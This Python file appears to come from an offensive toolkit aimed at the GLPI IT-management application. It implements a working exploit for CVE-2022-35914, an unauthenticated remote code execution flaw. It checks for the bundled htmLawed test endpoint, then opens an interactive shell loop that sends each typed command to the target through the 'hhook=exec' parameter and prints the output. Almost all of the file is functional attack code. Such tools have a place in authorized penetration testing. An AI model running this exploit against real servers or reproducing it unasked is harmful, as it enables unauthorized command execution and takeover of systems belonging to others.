import requests
import re
import readline
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.utils import GlpiUtils
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from rich.prompt import Prompt

class CVE_2022_35914(GlpiExploit):
    """
    This exploits achieve unauth RCE on GLPI version vulnerable

    @author Mayfly
    @cvss 10
    @name CVE_2022_35914
    """
    _impacts = "RCE"
    max_version = "10.0.3"

    _array_regex = re.compile(r'\s+\[\d+\] => (.*)')
    _failed_regex = re.compile(r'\$spec: (\d+)')

    def _parse_result(self, html):
        """
        Parse the result of the command from the html DOM

        :param html: The html dom to parse
        :type html: Union[str, bytes]

        :return: The result of the command
        :rtype: str
        """
        soup = BeautifulSoup(html, 'html.parser')
        attrs = soup.find("div", attrs={"id": "settingF"})
        if attrs:
            result = re.findall(self._array_regex, attrs.text)
            if result:
                return "\n".join(result)

            error = re.findall(self._failed_regex, attrs.text)
            if error:
                return "\x1b[31mError:\x1b[0m " + error[0]
            return attrs.text.strip()
        return ""

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allow you to exploit arbitrary function call on a test library.\n"
        infos += "It result in an instant [u blue]Remote Code Execution[/]\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Spawn a pseudo interactive shell[/]\n"
        infos += "--run\n"
        infos += "\nExploit is [green b]Safe[/]"
        return infos

    def check(self):
        """
        Check if the target is vulnerable
        """
        endpoint = "/vendor/htmlawed/htmlawed/htmLawedTest.php"
        res = self.get(endpoint, allow_redirects=False)
        if res.status_code == HTTPStatus.OK:
            return True
        return False

    def run(self):
        """
        Run the command on the vulnerable target

        :param command: The command to execute on the target
        :type command: str
        """
        endpoint = "/vendor/htmlawed/htmlawed/htmLawedTest.php"
        url = self.glpi_session.target + endpoint

        exploit = {
            "sid": "foo",
            "hhook": "exec",
            "text": ""
            }

        command = ""

        while True:
            command = Prompt.ask("[b yellow]mayfly@[/b yellow][b cyan]glpi[/b cyan] (quit/exit)\n")

            if(command == "exit" or command == "quit"):
                break

            cookie = GlpiUtils.random_str(12)
            exploit["text"] = command
            exploit["sid"] = cookie

            # Raw post request is enough, no need to add CSRF Tokens
            res = requests.post(self.glpi_session.r(endpoint), data=exploit, cookies={"sid": cookie}, verify=False)
            result = self._parse_result(res.text)
            if not result:
                Log.err("Command failed")

            else:
                print(result)
                print()
